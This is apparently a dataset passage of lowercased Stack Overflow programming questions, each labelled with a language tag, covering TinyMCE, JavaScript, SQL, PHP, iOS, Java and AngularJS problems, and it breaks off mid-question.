getting different toolbar controls in tinymce in rails 2 application  i am using tinymce editor for designing a reports . so i am facing problem in tinymce tollbar links like as shown in below image ..<img src= https://i.stack.imgur.com/rqzwg.png  alt= tinymce_editor >      as i am getting rectangular box for inserting image in the toolbar . i getting different designs for different properties of toolbar..<br> i want to display links in tinymce standard format .. plz help me out from this ..   <pre><code>&lt;script type= text/javascript &gt;     tinymce.init({ selector:  textarea   fontsize_formats:  6pt 7pt 8pt 9pt 10pt 11pt 12pt 26pt 36pt   setup: function(editor) {   editor.addbutton( report_design   {     type:  menubutton       text:  variables       icon: false      menu: [        {text: student basic data   menu:[&lt;% for data in @student_basic_data %&gt;{text: &lt;%=   #{t(data)}  %&gt;   onclick: function() {editor.insertcontent( &lt;i&gt;$%&lt;%= data %&gt;\%&lt;/i&gt; );}} &lt;% end %&gt;]}        {text: previous institute data   menu:[&lt;% for data in @student_previous_data %&gt;{text: &lt;%=   #{t(data)}  %&gt;   onclick: function() {editor.insertcontent( &lt;i&gt;$%&lt;%= data %&gt;\%&lt;/i&gt; );}} &lt;% end %&gt;]}        {text: student additional data   menu:[&lt;% for record in @student_additional_data %&gt;{text: &lt;%=   #{record.name}  %&gt;   onclick: function() {editor.insertcontent( &lt;i&gt;$%&lt;%= record.name.squish.downcase.tr(     _ ) %&gt;\%&lt;/i&gt; );}} &lt;% end %&gt;]}         {text: parent data   menu:[&lt;% for data in @parent_data %&gt;{text: &lt;%=   #{t(data)}  %&gt;   onclick: function() {&lt;%if data !=  parent-category %&gt;editor.insertcontent( &lt;i&gt;$%&lt;%= data %&gt;\%&lt;/i&gt; );&lt;%else%&gt;                   editor.windowmanager.open({                     title:  parent category                       width : 270                      height : 70                      body: [                       {type:  listbox                           //name:  align                           label:  select :                           onselect: function(e) { &lt;%= remote_function(   :url =&gt; {:controller=&gt; design_custom_reports  :action =&gt;  parent_category }    :with =&gt;   category_id=  + this.value()   ) %&gt;                         }                          values: [                            {text:  select   value:  select  }                            &lt;% for category in @parent_categories %&gt;                           {text:  &lt;%= category.name %&gt;   value:  &lt;%= category.id %&gt; }                            &lt;% end %&gt;                         ]                           onpostrender: function() {             // select the item             this.value( &lt;%= guardiancategory.find(@custom_report.category_id).id unless @custom_report.category_id.nil  or @custom_report.category_id == 0 %&gt; );                        }                        }                     ]                   }); &lt;% end %&gt;}} &lt;% end %&gt;]}      ]   }); }   plugins: [    hr image fullpage advlist autolink lists  charmap print preview anchor      searchreplace visualblocks code fullscreen      insertdatetime table contextmenu paste       emoticons print textcolor  ]  toolbar:  image fullpage | undo redo | fontsizeselect | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | forecolor backcolor | report_design    });&lt;/script&gt; </code></pre>,ruby-on-rails
rails json api mode no longer showing response data  i could test queries in through the browser before and get a json response. now it just shows:    <a href= https://i.stack.imgur.com/kfbbj.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/kfbbj.png  alt= enter image description here ></a>    i have no idea what i changed. my ember frontend is able to get data fine though.    it s handy to see the response.    routes:   <pre><code>rails.application.routes.draw do   resources :platforms do     resources :markets     member do       get  populate_markets      end   end end </code></pre>,ruby-on-rails
uncaught typeerror: cannot read property  style  of null ...  line284   i am receiving an error message of <code> uncaught typeerror: cannot read property  style  of null </code> when javascript tries to read:   <pre><code>getproper.style.border =  1px solid black ;   </code></pre>   (listed in my validate function and designated by ---> &lt;--- )    i m not sure why the error is happening. it s certainly not a spelling issue  so can anybody help me determine what it is and how to fix it  i have posted my entire code if that helps.   <pre><code>window.addeventlistener( domcontentloaded   function () {      function $(x) {         var theelement = document.getelementbyid(x);         return theelement;     }      function maketimes(){         var formtag = document.getelementsbytagname( form )               selectli = $( select )              makeselect = document.createelement( select );             makeselect.setattribute( id    times );            for (var i=0  j=contacttimes.length; i&lt;j; i++){             var makeoption = document.createelement( option );             var opttext = contacttimes[i];             makeoption.setattribute( value   opttext);             makeoption.innerhtml = opttext;             makeselect.appendchild(makeoption);         }         selectli.appendchild(makeselect);     }      function getcheckboxvalue(){         var checkboxes = document.forms[0].appointmenttype;             checkedvalues = [];                                      for (var i=0  j=checkboxes.length; i&lt;j; i++){                    if (checkboxes[i].checked) {                                    var checkedvalue = checkboxes[i].value;                  checkedvalues.push(checkedvalue);                        }         }     }      function getselectedradio(){         var radios = document.forms[0].proper;         for (var i=0; i&lt;radios.length; i++){             if(radios[i].checked) {                 propervalue = radios[i].value;             }         }     }      function setmessage(pclass  text){         var newnode = document.createelement( p );         newnode.setattribute( class   pclass);         newnode.appendchild(document.createtextnode(text));         var messagediv = document.getelementbyid( message );         messagediv.appendchild(newnode);     }      function togglecontrols(n){         switch(n){             case  on :                 $( appointmentform ).style.display =  none ;                 $( cleardata ).style.display =  inline ;                 $( displaydata ).style.display =  none ;                 $( addnew ).style.display =  inline ;                 break;             case  off :                 $( appointmentform ).style.display =  block ;                 $( cleardata ).style.display =  inline ;                 $( displaydata ).style.display =  inline ;                 $( addnew ).style.display =  none ;                 $( items ).style.display =  none ;                 break;             default:                 return false;         }     }      function storedata(key){         if(!key){             var id                  = math.floor(math.random()*100000001);         }else{             id = key;         }     getcheckboxvalue();     getselectedradio();     var item                    = {};         item.appointmenttype    = [ appointment type:   checkedvalues];         item.fname              = [ first name:   $( fname ).value];         item.lname              = [ last name:   $( lname ).value];         item.address1           = [ address 1:   $( address1 ).value];         item.address2           = [ address 2:   $( address2 ).value];         item.city               = [ city:   $( city ).value];         item.zipcode            = [ zip code:   $( zipcode ).value];         item.tele               = [ telephone:   $( tele ).value];         item.email              = [ email:   $( email ).value];         item.proper             = [ own/rent:   propervalue];         item.times              = [ time:   $( times ).value];         item.yourdate           = [ scheduled for:   $( yourdate ).value];         item.src                = [ special requests:   $( src ).value];         item.range              = [ urgency level:   $( uofa ).value];      localstorage.setitem(id  json.stringify(item));     alert( message here. );     }      function getdata(){         togglecontrols( on );         if(localstorage.length === 0){             alert( message here. );         }         //this writes the data from the local storage to the browser.         var makediv = document.createelement( div );                    makediv.setattribute( id    items );                            var makelist = document.createelement( ul );                    makediv.appendchild(makelist);                                  document.body.appendchild(makediv);                             $( items ).style.display =  block ;                             for (var i=0  len=localstorage.length; i&lt;len; i++){             var makeli = document.createelement( li );             var linksli = document.createelement( li );             makelist.appendchild(makeli);             var key = localstorage.key(i);             var value = localstorage.getitem(key);             var obj = json.parse(value);             var makesublist = document.createelement( ul );                  makeli.appendchild(makesublist);             for(var n in obj){                var makesubli = document.createelement( li );                makesublist.appendchild(makesubli);                var optsubtext = obj[n][0]+   +obj[n][1];                makesubli.innerhtml = optsubtext;                makesublist.appendchild(linksli);             }             makeitemlinks();          }     }      function makeitemlinks(key  linksli){         var editlink  = document.createelement( a );         editlink.href =  # ;         editlink.key  = key;         var edittext  =  edit appointment ;         editlink.addeventlistener( click   edititem);         editlink.innerhtml = edittext;         linksli.appendchild(breaktag);          var breaktag = document.createelement( br );         linksli.appendchild(breaktag);          var deletelink  = document.createelement( a );         deletelink.href =  # ;         deletelink.key  = key;         var deletetext  =  delete appointment ;         //deletelink.addeventlistener( click   deleteitem);         deletelink.innerhtml = deletetext;         linksli.appendchild(deletelink);     }      function edititem(){         var value = localstorage.getitem(this.key);         var item  = json.parse(value);          togglecontrols( off );          var checkboxes = document.forms[0].appointmenttype;         for(var i=0; i&lt;checkboxes.length; i++){             if(checkboxes[i].value ==  getafreeestimate  &amp;&amp; item.appointmenttype[1] ==  getafreeestimate ){                 checkboxes[i].setattribute( checked    checked );             }else if(checkboxes[i].value ==  lawnservice  &amp;&amp; item.appointmenttype[1] ==  lawnservice ){                 checkboxes[i].setattribute( checked    checked );             }else if(checkboxes[i].value ==  sprinklersystemservice  &amp;&amp; item.appointmenttype[1] ==  sprinklersystemservice ){                 checkboxes[i].setattribute( checked    checked );             }else if(checkboxes[i].value ==  flowerbedmaintenance  &amp;&amp; item.appointmenttype[1] ==  flowerbedmaintenance ){                 checkboxes[i].setattribute( checked    checked );             }else if(checkboxes[i].value ==  hedgetreeservice  &amp;&amp; item.appointmenttype[1] ==  hedgetreeservice ){                 checkboxes[i].setattribute( checked    checked );             }else if(checkboxes[i].value ==  handymanservices  &amp;&amp; item.appointmenttype[1] ==  handymanservices ){                 checkboxes[i].setattribute( checked    checked );             }else if(checkboxes[i].value ==  other  &amp;&amp; item.appointmenttype[1] ==  other ){                 checkboxes[i].setattribute( checked    checked );             }         }                $( fname ).value            = item.fname[1];         $( lname ).value            = item.lname[1];         $( address1 ).value         = item.address1[1];         $( address2 ).value         = item.address2[1];         $( city ).value             = item.city[1];         $( zipcode ).value          = item.zipcode[1];         $( tele ).value             = item.tele[1];         $( email ).value            = item.email [1];         var radios = document.forms[0].proper;         for(var i=0  i&lt;radios.length; i++){             if(radios[i].value ==  own  &amp;&amp; item.proper[1] ==  own ){                 radios[i].setattribute( checked    checked );             }else if(radios[i].value ==  rent  &amp;&amp; item.proper[1] ==  rent ){                 radios[i].setattribute( checked    checked );             }         $( times ).value            = item.times[1];         $( yourdate ).value         = item.yourdate[1];         $( src ).value              = item.src[1];         $( range ).value            = item.range[1];          savedata.removeeventlistener( click   storedata);         $( submit ).value =  edit appointment ;         var editsubmit = $( submit );         editsubmit.addeventlistener( click   validate);         editsubmit.key = this.key;         }    }      function deleteitem(){         var ask = confirm( message here. );         if(ask){             localstorage.removeitem(this.key);             alert( message here. );             window.location.reload();         }else{             alert( message here. );         }     }      function clearlocal(){         if(localstorage.length === 0){             alert( message here. );         }else{             localstorage.clear();             alert( message here. );             window.location.reload();             return false;         }     }      function validate(ed){           var gettimes    = $( times );         var getfname    = $( fname );         var getlname    = $( lname );         var getaddress1 = $( address1 );         var getcity     = $( city );         var getzipcode  = $( zipcode );         var gettele     = $( tele );         var getemail    = $( email );         var getproper   = $( proper );         var getyourdate = $( yourdate );          errmsg.innerhtml =   ;         gettimes.style.border    =  1px solid black ;     getfname.style.border    =  1px solid black ;     getlname.style.border    =  1px solid black ;     getaddress1.style.border =  1px solid black ;     getcity.style.border     =  1px solid black ;     getzipcode.style.border  =  1px solid black ;     gettele.style.border     =  1px solid black ;     getemail.style.border    =  1px solid black ;   ---&gt;  getproper.style.border   =  1px solid black ;  &lt;---      getyourdate.style.border =  1px solid black ;           var messageary = [];         if(gettimes.value ===  &lt;-- select --&gt; ){             var timeserror =  message here. ;             gettimes.style.border =  1px solid red ;             messageary.push(timeserror);         }          if (getfname.value ===   ){             var fnameerror =  message here. ;             getfname.style.border =  1px solid red ;             messageary.push(fnameerror);         }          if (getlname.value ===   ){             var lnameerror =  message here. ;             getlname.style.border =  1px solid red ;             messageary.push(lnameerror);         }          if (getaddress1.value ===   ){             var address1error =  message here. ;             getaddress1.style.border =  1px solid red ;             messageary.push(address1error);         }          if (getcity.value ===   ){             var cityerror =  message here. ;             getcity.style.border =  1px solid red ;             messageary.push(cityerror);         }          var re = /^\d{5}$/;         if (!(re.exec(getzipcode))){             var zipcode =  message here. ;             getzipcode.style.border =  1px solid red ;             messageary.push(zipcodeerror);         }          var re = /^[0-9\-\(\)\s]*$/.test(x) &amp;&amp; x.replace(/[^0-9]/g   ).length == 10;         if (!(re.exec(gettele))){             var teleerror =  message here. ;             gettele.style.border =  1px solid red ;             messageary.push(teleerror);         }          var re = /^\w+([\.-] \w+)*@\w+([\.-] \w+)*(\.\w{2 3})+$/;         if (!(re.exec(getemail))){             var emailerror =  message here. ;             getemail.style.border =  1px solid red ;             messageary.push(emailerror);         }          if (getproper.value ===   ){             var proper =  message here. ;             getproper.style.border =  1px solid red ;             messageary.push(propererror);         }          if(getyourdate.value ===   ){             var yourdate =  message here. ;             getyourdate.style.border =  1px solid red ;             messageary.push(yourdateerror);         }          if(messageary.length &gt;= 1){             for(var i=0  j=messageary.length; i&lt;j; i++){                 var txt = document.createelement( li );                 txt.innerhtml = messageary[i];                 errmsg.appendchild(txt);             }             ed.preventdefault();             return false;         }else{             savedata(this.key);         }        }      //variable defaults     var contacttimes = [ &lt;-- select --&gt;    morning    afternoon    evening ]          propervalue          appointmenttype          checkedvalues          errmsg = $( errors )     ;      //run maketimes();     maketimes();      var savedata = $( submit );     savedata.addeventlistener( click   validate);     var cleardata = $( cleardata );     cleardata.addeventlistener( click   clearlocal);     var displaydata = $( displaydata );     displaydata.addeventlistener( click   getdata);  }); </code></pre>,javascript
how to change style of css for particular div   i want to change the style of my <code>li</code> tag for particular <code>div</code> means i want to show that element for whole page but at start i don t want to show that <code>li</code> tag. i want to change style of that tag.   <pre><code>&lt;ul id= butons_right &gt;         &lt;li&gt;             &lt;a href= #service  id= totop  rel= nofollow &gt;top&lt;/a&gt;         &lt;/li&gt;         &lt;li&gt;              &lt;div id= close &gt;&lt;/div&gt;         &lt;/li&gt; &lt;/ul&gt; </code></pre>   this is my that element which dont want to show it at start of page. i want to change its style to display:none.    can anybody provide me any solution. thanks in advance.,css
how to create/trigger event in javascript   how do i create and pass the event to event handler     basically i want to fire an event called key down on focus of text input box how do i do that,javascript
is func or action faster than if-else or switch-case   i am implementing a business logic where comparison and code execution must be fast. suppose i have a switch case for 1000 cases. something like that   <pre><code>    public void dowork(int num)     {         switch (num)         {             case 1:                 {                     function_1();                     break;                 }             case 2:                 {                     function_2();                     break;                 }             //.             //.             //.             //.             //.             //upto 1000 cases              case 1000:                 {                     function_1000();                     break;                 }         }     } </code></pre>   now if i use func or action instead of above code  would not it be faster    please see code below    <pre><code>    //this array will be initialized previously     action[] actions = { new action(function_1)  new action(function_2)  /*....upto 1000....*/ new action(function_1000) };     public void dowork(int num)     {         actions[num]();     } </code></pre>   now please tell me which one will work faster and why      thanks,c#
i want to insert multiple rows in a table using sql server 2005  i am wanting to insert rows into a four column table. i have inserted rows in the first two columns. however  when i try adding to the third and fourth column i receive the following error     <blockquote>     msg 8152  level 16  state 4  line 1 string or binary data would be   truncated. the statement has been terminated   </blockquote>   i am using the following query:    <pre><code>use db go insert into dbo.table (column1  column2  column3 column4) values ( data   data   data   data ) </code></pre>,sql
if i had a math.max object  how would i get it to display a name rather than a number   say i have the following code in   <pre><code>var x = 4 var y = 6  function myfunction() {     document.write(math.max(x  y)); } </code></pre>   if i had a button pressed to give me the results of the math object  how would i get it to display y for 6 instead of the number itself,javascript
how can i join fields of while loop and if statement  i am using almost the same statements or operations in while loop and if statement separately because of their conditions are opposite ;what can i do to decrease number of same statements from two to one piece of code that i mentioned is below    can you help me...   <pre><code> while(current1!=*head1)     {         int new_carpim=(current2-&gt;number)(current1-&gt;number);         int updateresult=new_carpim+current3-&gt;number;          if(updateresult==2)         {             carry_happend(*head3 current3);          }          else         {             current3-&gt;number=updateresult;         }          current1=drive_temp(*head1 temp1 current1);         current3=drive_temp(*head3 temp3 current3);       }      if(current1==*head1)     {         int new_carpim=(current2-&gt;number)(current1-&gt;number);         int updateresult=new_carpim+current3-&gt;number;          if(updateresult==2)         {             carry_happend(*head3 current3);          }          else         {             current3-&gt;number=updateresult;         } </code></pre>,c
select only special rows  i have a table like:   <pre><code>id  val </code></pre>   with values like:   <pre><code>1 2 1 null 2 null 3 2 </code></pre>   how can i get only    <pre><code>1 2 2 null 3 2 </code></pre>   which means get all rows with <code>val = 2</code>  or if row with the id that doesn t have any <code>val = 2</code>,sql
why isn t my file uploading correctly in php   im using this function to upload pictures to my server.    <pre><code>function uploadproductimage($inputname  $uploaddir) {     $image         = $_files[$inputname];     $imagepath     =   ;     $thumbnailpath =   ;  // if a file is given     if (trim($image[ tmp_name ]) !=   ) {         $ext       = substr(strrchr($image[ name ]   . )  1); //$extensions[$image[ type ]];         // generate a random new file name to avoid name conflict         $imagepath = md5(rand() * time()) .  .$ext ;          list($width  $height  $type  $attr) = getimagesize($image[ tmp_name ]);          // make sure the image width does not exceed the         // maximum allowed width         if (limit_product_width &amp;&amp; $width &gt; max_product_image_width) {             $result    = createthumbnail($image[ tmp_name ]  $uploaddir .                     $imagepath  max_product_image_width);             $imagepath = $result;         } else {             $result = move_uploaded_file($image[ tmp_name ]  $uploaddir .                     $imagepath);         }          if ($result) {             // create thumbnail             $thumbnailpath = md5(rand() * time()) .  .$ext ;             $result        = createthumbnail($uploaddir . $imagepath  $uploaddir .                     $thumbnailpath  thumbnail_width);              // create thumbnail failed  delete the image             if (!$result) {                 unlink($uploaddir . $imagepath);                 $imagepath     = $thumbnailpath =   ;             } else {                 $thumbnailpath = $result;             }         } else {             // the product cannot be upload / resized             $imagepath     = $thumbnailpath =   ;         }     } } }   return array( image  =&gt; $imagepath   thumbnail  =&gt; $thumbnailpath); } </code></pre>   and this is what it looks like when called : the  srv_root is a variable that stores the document root.    <pre><code>  $images = uploadproductimage( fleimage   srv_root .  images/product/ ); </code></pre>   everything worked fine in the development environment but when i switched to the online server it would not work.,php
different different height for each row in uitableview  how to make the first three row height should be 60 and remaining row height should be 25 in uitableview.    how can i do this     thanks.,iphone
jquery.remove() not working as expected ( )  having read the documentation for the remove-function at <a href= http://api.jquery.com/remove/  rel= nofollow >http://api.jquery.com/remove/</a>  was under the impression that the following code would work.     if i have an input element like this:   <pre><code>&lt;input id= hiddenratings  name= languageratings  type= hidden  value= {5  3  2      {5  3  4      {5  3  2}}} /&gt; </code></pre>   i thought i would be able to remove it simply by doing   <pre><code>$().ready(function() {    $( #hiddenratings ).remove(); }); </code></pre>   but nothing happens  my input element remains. what am i doing wrong      edit: crap...... it does work! i´m using chrome tools  and i was looking at the dom in the scripts tab rather than the elements tab. the scripts tab doesn´t update when the dom is changed apparently...,jquery
how to avoid repetition of <select></select>   say  i have 50 input fields and in each field there is a dropdown list having options 1  2  3  ..  100.      simply it can be done by inserting the long list of options in every input fields by  commands.     is there anyway by which we can write the full list only for one input field and refer it in the other input fields,html
how to get the round number if use the given rule  i have a requirement:    i want there is a function  like this  if the number is:<code>323.01</code> i want return <code>500</code>.    if the number is <code>678.60</code>  i want to get the <code>1000</code>.    if the number is <code>20.0</code>  i want get <code>50</code>.    if the number is <code>8</code>  i want get <code>10</code>.    like this: if the first number of the number  if less than <code>5</code>  i want get <code>5</code>  if more than <code>5</code>  i want <code>10</code>.    how to realize this function in objective-c    <hr>   i just think about the this  i only know use <code>%</code> to get the last number of given number  i don t know how to get the first number of the given number.,objective-c
what method is called when application appears from background on iphone   i know that when iphone application goes to background  these methods are called:   <pre><code>- (void)applicationdidenterbackground:(uiapplication *)application - (void)applicationwillresignactive:(uiapplication *)application </code></pre>   what method(s) are called when application appears from background     are there any methods in viewcontroller which are called     thanks,iphone
move index path by one in tableview (ios)  i have a chat application  in which i want to increase the index path by one when new chat data come. but it is not happening through my code i am sharing code with screen shot please help.   <pre><code>nsuinteger messagecount = [self numberofmessages];  if (self.conversation &amp;&amp; messagecount &gt; 0) {     nslog(@ %ld  (long)indexpathvalue.row);     nsindexpath* ip = [nsindexpath indexpathforrow:indexpathvalue.row + 1 insection:0];     nslog(@ %ld  (long)ip.row);     [layerchattableview scrolltorowatindexpath:ip atscrollposition:uitableviewscrollpositiontop animated:yes]; } </code></pre>   <a href= https://i.stack.imgur.com/s52oa.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/s52oa.jpg  alt= enter image description here ></a>,ios
unable to download file having special characters in name  i have some code which looks like following: fileinfo file = new fileinfo(path); here  path  is complete path of the document. this is working fine in all browser for special characters like é   but fail in ie except ie9.issue is like somthing this this link <a href= http://blogs.adamsoftware.net/web_development/thecaseofthestrangefilenames.aspx  rel= nofollow >http://blogs.adamsoftware.net/web_development/thecaseofthestrangefilenames.aspx</a>       !,asp.net
incompatible types - found:int required:boolean  i m trying to display: equivalent if the first numerical input is equal to the second input. what s wrong with my code    <pre><code>import java.io.*; public class twonum{     public static void main(string[] args){         int number;         int number2;         string input1=  ;         string input2=  ;          bufferedreader in = new bufferedreader(new inputstreamreader(system.in));          system.out.println( input a number:  );          try{             input1=in.readline();         }catch(ioexception e){             system.out.println( error! );         }          number = integer.parseint(input1);          try{             input2=in.readline();         }catch(ioexception e){             system.out.println( error! );         }          number2 = integer.parseint(input2);          if(number=number2)         {             system.out.println( equivalent );         }         if(number&gt;number2)         {             system.out.println( greater than );         }     } } </code></pre>,java
best table design for lot tracking  i would like to design a table to help track the contents of a tank over time.  the tank is typically filled all at once  and a lot name will be applied to it  and it will be emptied. if this is the only scenario then i would do this.    table: dye_tank   <pre><code>dye_id (pk) dye_lot dye_color </code></pre>   table: paint   <pre><code>paint_id (pk) paint_lot paint_color </code></pre>   table: dye_transfer   <pre><code>dye_transfer_id(pk) dye_id (fk) paint_id (fk) dye_transfer_note </code></pre>   this would allow me to transfer multiple lots of dye into one tank of paint  and use one tank of dye between multiple lots of paint.    what if i would also like to be able to transfer a lot of paint into another lot of paint. for example  i could add yellow dye to a paint tank to make a lot of yellow paint  then pump that into an existing batch of blue  to make a new batch of green paint. do you recommend a separate table for lot transfers like:    table:paint_transfer   <pre><code>paint_transfer_id (pk) paint_id (fk) paint_id (fk) </code></pre>   or is there a better solution. i could expand the dye transfer table and make it:    table:transfer   <pre><code>transfer_id (pk) source_id source_type paint_id (fk) transfer_note </code></pre>   with this i could set the source type to either be  paint  or  dye  and set the source_id to be the appropriate pk of the source ingredient. one disadvantage of this is i would have to use some more complex triggers and not rely of the built-in foreign key cascades to maintain referential integrity.    the first solution seems simpler  but the second seems like it would allow for more flexibility going forward.    a third solution would be to ignore the fact the a paint tank-to-tank transfer occurred and just record the  green  tank creation as a transfer of all the lots from the yellow tank and all the lots from the green tank.    can anyone see specific advantages or disadvantages to either solution  or used something different for a similar problem,sql
how to enable editing textfield with the delete feature working  i have a textfield  which can have at most only one character. when the focus is on the textfield   (1) if the character count is more than 1  then the textfield shouldn t enable editing.  (2) but we should be able to delete that one character and replace it with another.     right now i cant find a way to make both my conditions work. if i disable editing  the delete feature doesn t work. if i enable it   the textfield length condition is not satisfied.,iphone
frequently used symbol  |  in objective-c <pre><code>self.autoresizingmask = uiviewautoresizingflexiblewidth|uiviewautoresizingflexiblewidth; </code></pre>   the source code is shown above. wonder what the symbol  |  stands for  will really appreciate your answer and thanks for the reply;),objective-c
how to show and hide using javascript on image button and link button s on client click event  i am working on job portal project.in that project i am having one post resume form.in that form i have to add education information.to add post graduation information i have one image button i want to show div on clicking the image button.i have used following java script for this   <pre><code>enter code here&lt;script type= text/javascript &gt;      function toggle_visibility(id) {         var e = document.getelementbyid(id);         if (e.style.display ==  block )             e.style.display =  none ;         else             e.style.display =  block ;     }  &lt;/script&gt; </code></pre>   i am calling this script on click of following controls   <pre><code>enter code here &lt;div class= tdborder  style= height: 18px; width: 170px &gt;                                 &lt;asp:imagebutton id= imgbtnmasters  runat= server  imageurl= ~/images/brownadd.png                                      height= 15px  width= 15px  onclientclick= javascript:toggle_visibility( divmasters )  /&gt;                                 &lt;asp:linkbutton id= lnkbtnmasters  runat= server  text= add masters education  forecolor= #663300                                      onclientclick= javascript:toggle_visibility( divmasters ) &gt;&lt;/asp:linkbutton&gt;                             &lt;/div&gt; </code></pre>   the following is the div that i want to open .   <pre><code>&lt;div id= divmasters &gt;                                 &lt;table style= width: 80%  align= left &gt;                                     &lt;tr&gt;                                         &lt;td style= width: 20% &gt;                                             your masters education:                                         &lt;/td&gt;                                         &lt;td style= width: 40% &gt;                                             &lt;asp:dropdownlist id= drpmasters  runat= server  cssclass= textbox1  width= 150px                                                  height= 24px &gt;                                                 &lt;asp:listitem selected= true &gt;select&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 1 &gt;ca&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 2 &gt;cs&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 3 &gt;icwa&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 4 &gt;integrated pg&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 5 &gt;llm&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 6 &gt;m.a&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 7 &gt;m.arch&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 8 &gt;m.com&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 9 &gt;m.ed&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 10 &gt;m.pharma&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 11 &gt;m.sc&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 12 &gt;m.tech&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 13 &gt;mba/pgdm&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 14 &gt;mca&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 15 &gt;ms&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 16 &gt;pg diploma&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 17 &gt;mvsc&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 18 &gt;mcm&lt;/asp:listitem&gt;                                                 &lt;asp:listitem value= 19 &gt;other&lt;/asp:listitem&gt;                                             &lt;/asp:dropdownlist&gt;                                         &lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td style= width: 20% &gt;                                             specialization:                                         &lt;/td&gt;                                         &lt;td style= width: 40% &gt;                                             &lt;asp:textbox id= txtmstspecialization  runat= server  cssclass= textbox1  width= 250px &gt;&lt;/asp:textbox&gt;                                         &lt;/td&gt;                                     &lt;/tr&gt;                                 &lt;/table&gt;                             &lt;/div&gt; </code></pre>   i have tried with the above javascript  div get open but the problem is page get postback so the div get hide again. i am not getting what is going wrong with this script.suggest me any solution for this. thanks in advance.,asp.net
how to get key from key value object in angularjs   i need to get key from the key value object inside array.   <pre><code>$scope.rolehiddenfields = [{ aboutyou :  aboutyou    height :  height }]; </code></pre>   but want as <code>$scope.allrolehiddenfields = [ aboutyou    height ];</code>,angularjs
removing duplicate items from dropdownlist database  i have generated dropdownlist from database using entity framework. i can see my dropdownlist in view but i m getting duplicate values. how can i remove the duplicate values    <pre><code>controller:  dbentities db = new dbentities (); var a = db.aspnetusers.select(h =&gt; new selectlistitem                 {                     value = h.nationality                      text = h.nationality                 }).tolist();             viewdata[ nationselection ] = new selectlist(a   value    text );   view:   @html.dropdownlist( selecteditem   (selectlist)viewdata[ nationselection ]   -selce-   new     {          onchange = @              var form = document.forms[0];             form.action= getemployeedetails ;             form.submit();      }) </code></pre>,.net
php form data not being posted  i created a form which asks for username and password for registration purposes and i sent the data to same page using <code>action=  </code> and checking for <code>$_post</code> variables  but data is not being passed through this method. when i print <code>$post</code> array by changing condition to true and reloading the page   the <code>post</code> array is empty and also i can see the variables passed as <code>post</code> in url.can somebody explain whats the problem     code:   <pre><code>    &lt;!doctype html&gt; &lt;html&gt;          &lt; php         if(isset($_post[ user ]))         {            echo  data coming ;            die();           }    else {         &gt;         &lt;form method= post  enctype= multiform/form-data  action=  &gt;         &lt;b&gt; username: &lt;/b&gt;&lt;input type= text  name= user &gt; &lt;br&gt; &lt;br&gt;&lt;br&gt;         &lt;b&gt; password:&lt;/b&gt; &lt;input type= password  name= pass &gt;&lt;br&gt; &lt;br&gt;         &lt;input type= submit  value= submit &gt;       &lt;/form&gt;   &lt; php     }      &gt; &lt;/html&gt; </code></pre>,php
calling variable functions with static variables  <em>approach 1</em> would work  but <em>approach 2</em> would not - it whould result in a fatal error (<em>function name must be a string in...</em>)   <pre><code># approach 1 $function = self::$function and $function();  # approach 2 self::$function and self::$function(); </code></pre>   isn t this a bit strange  i hope someone could explain.   <hr>   edit: to give some context  here s a whole class:   <pre><code>class example {     static $function;      static function method()     {         self::$function();     } }  function callback() {}  example::$function =  callback ; example::method(); </code></pre>,php
how to assign value returned by a function call inside another function [js]  i am having two functions in my javascript code  and i want to perform some action on the basis of value returned by other function.    here my code :-    <pre><code>function test1(){     var radio = document.getelementbyname( sample );     for (i=0; i&lt;radio.length; i++){          //some code here          return  some value on basis of above code      } }  function test2(){     var somevariable = globllysetvalue;     var returnvalue = return test1();     // some code and work according to the value in returnvalue } </code></pre>   well i know <code>return</code> in function <code>test2</code> is not correct. so what can i do here now       <hr>   <strong>edit</strong>    here what i am trying to do... but it do not seem to be working <a href= http://jsfiddle.net/u6rjy/7/  rel= nofollow >http://jsfiddle.net/u6rjy/7/</a>     edit2 ----- the corrected and working fiddle... <a href= http://jsfiddle.net/u6rjy/9/  rel= nofollow >http://jsfiddle.net/u6rjy/9/</a> thanks to all :),javascript
text highlight using xpath  i am highlighting selected text by using the following xpath and offsets. <br /><br /> here is an <b>example</b> selection of text i am using to debug. <br /><br />   <pre><code>[{   commonancestorcontainer:  /xhtml:html[0001]/xhtml:body[0001]/xhtml:p[0002]     startcontainer:  /xhtml:html[0001]/xhtml:body[0001]/xhtml:p[0002]     startoffset:0    endcontainer:  /xhtml:html[0001]/xhtml:body[0001]/xhtml:p[0002]     endoffset:1    color:  purple  }] </code></pre>   <br /><br /> this selection above <b>works nicely</b> and highlights the selected paragraph. now here is <b>the part i am stuck on</b>  as soon as i <b>add text to the paragraph</b> it fails to highlight the text. <br /><br /> here is the example with selected paragraph and text  so in theory this should only select the text inside the paragraph that you selected. <b>changes are marked in bold</b> <br /><br /> [{<br />   commonancestorcontainer:  /xhtml:html[0001]/xhtml:body[0001]/xhtml:p[0002]<b>/text()[0]</b>  <br />   startcontainer:  /xhtml:html[0001]/xhtml:body[0001]/xhtml:p[0002]<b>/text()[0]</b>  <br />   <b>startoffset:288</b> <br />   endcontainer:  /xhtml:html[0001]/xhtml:body[0001]/xhtml:p[0002]<b>/text()[0]</b>  <br />   <b>endoffset:330</b> <br />   color:  purple <br /> }]<br />   <hr />   <h3>test.html</h3> (this uses highlight.show)   <pre><code>function highlighttest() {         $mon.highlight.show([             {                 commonancestorcontainer:  